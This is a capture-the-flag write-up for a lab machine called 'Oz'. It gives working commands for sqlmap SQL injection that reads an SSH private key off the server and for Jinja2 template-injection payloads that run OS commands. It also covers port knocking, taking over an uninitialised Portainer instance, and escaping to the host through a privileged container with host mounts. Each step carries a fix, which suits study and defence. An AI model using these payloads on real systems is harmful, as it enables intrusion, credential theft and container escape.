Oz
Summary
Target oz ($TARGET) exposed two Python/Werkzeug web services — an unauthenticated JSON API on port 80 and a support-ticket portal on port 8080 — with SSH hidden behind a UDP port-knock firewall rule. The JSON API passed URL parameters directly into SQL queries; I exploited this to dump a credentials table and abuse MySQL's LOAD_FILE() to pull an encrypted SSH private key off the server filesystem. The dumped credential wizard.oz:[REDACTED: recovered credential] unlocked the ticket portal, whose description field rendered user input as a live Jinja2 template, giving remote code execution inside the web container as root.
That RCE read a secret config file revealing the port-knock sequence, while a database URI leaked from the Flask app config supplied the SSH key's passphrase. After knocking open SSH, I logged in as dorthi and captured the user flag. Dorthi's shell was a Docker container; Portainer, the container-management API, was reachable on the internal Docker bridge network and had never been initialized, so a single unauthenticated request created my own admin account.
That admin access deployed a privileged container with the host root filesystem mounted inside, escaping container isolation entirely and exposing root.txt on the underlying host.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<second-host-reached-after-pivoting>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80,8080 $TARGETcurl -sS http://$TARGET/curl -sS http://$TARGET:8080/Exact commands 4
curl -sS "http://$TARGET/users/' or '1'='1"sqlmap -u "http://$TARGET/users/admin*" --batch --random-agent --level=5 --risk=3 --dbms=mysql --dbssqlmap -u "http://$TARGET/users/admin*" --batch --random-agent --level=5 --risk=3 --dbms=mysql -D ozdb -T users_gbw --dumpsqlmap -u "http://$TARGET/users/admin*" --batch --random-agent --level=5 --risk=3 --dbms=mysql --file-read=/home/dorthi/.ssh/id_rsaFixParameterise all database queries to eliminate SQL injection and revoke LOAD_FILE privilegeCritical
Exact commands 3
curl -sS -c /tmp/oz8080.cookies -X POST -d 'username=wizard.oz&password=$PASSWORD3' http://$TARGET:8080/logincurl -sS -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=test' --data-urlencode 'desc={{7*7}}' http://$TARGET:8080/curl -sS -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=cfg' --data-urlencode 'desc={{config.items()}}' http://$TARGET:8080/FixStop evaluating user input as Jinja2 templates and run the web process as a non-root userCritical
Exact commands 2
payload='{{request.application.__globals__.__builtins__.__import__("os").popen("id").read()}}'; curl -sS --max-time 8 -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=rce-id' --data-urlencode "desc=$payload" "http://$TARGET:8080/"payload='{{request.application.__globals__.__builtins__.__import__("os").popen("cat /.secret/knockd.conf").read()}}'; curl -sS --max-time 8 -b /tmp/oz8080.cookies -X POST --data-urlencode 'name=knock' --data-urlencode "desc=$payload" "http://$TARGET:8080/"Exact commands 4
cp /home/kali/.local/share/sqlmap/output/$TARGET/files/_home_dorthi_.ssh_id_rsa /tmp/oz_dorthi_id_rsa && chmod 600 /tmp/oz_dorthi_id_rsassh-keygen -p -P '$PASSWORD2' -N '' -f /tmp/oz_dorthi_id_rsafor p in 40809 50212 46969; do bash -c "echo x >/dev/udp/$TARGET/$p"; sleep 0.25; donessh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=5 -i /tmp/oz_dorthi_id_rsa dorthi@$TARGET 'cat ~/user.txt'FixProtect SSH private keys with unique passphrases and restrict database filesystem access to user directoriesHigh
Exact commands 2
for p in 40809 50212 46969; do bash -c "echo x >/dev/udp/$TARGET/$p"; sleep 0.25; done && ssh -f -N -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -L 19001:$INTERNAL_HOST:9000 -i /tmp/oz_dorthi_id_rsa dorthi@$TARGETcurl -sS http://127.0.0.1:19001/api/statusExact commands 2
curl -sS -X POST http://127.0.0.1:19001/api/users/admin/init -H 'Content-Type: application/json' -d '{"Username":"admin","Password":"$PASSWORD"}'curl -sS -X POST http://127.0.0.1:19001/api/auth -H 'Content-Type: application/json' -d '{"Username":"admin","Password":"$PASSWORD"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['jwt'])"FixComplete Portainer initialisation before network exposure and restrict API access to trusted hostsCritical
Exact commands 3
TOKEN='<JWT_FROM_STEP7>'; curl -sS -X POST http://127.0.0.1:19001/api/endpoints -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"Name":"local","EndpointType":1,"URL":"unix:///var/run/docker.sock"}'TOKEN='<JWT_FROM_STEP7>'; EID=1; curl -sS -X POST "http://127.0.0.1:19001/api/endpoints/$EID/docker/containers/create" -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /host/root/root.txt"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'TOKEN='<JWT_FROM_STEP7>'; EID=1; CID='<CONTAINER_ID>'; curl -sS -X POST "http://127.0.0.1:19001/api/endpoints/$EID/docker/containers/$CID/start" -H "Authorization: Bearer $TOKEN" && curl -sS "http://127.0.0.1:19001/api/endpoints/$EID/docker/containers/$CID/logs?stdout=1&stderr=1" -H "Authorization: Bearer $TOKEN"FixProhibit privileged containers and unrestricted host-path mounts via Docker security policyCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Server-Side Template InjectionWebT1190
What it is
When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.
Why it works
The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.
Read more
Exposed services
| 80/tcp | http Werkzeug httpd 1.0.1 (Python 2.7.18) |
| 8080/tcp | http Werkzeug httpd 1.0.1 (Python 2.7.18) |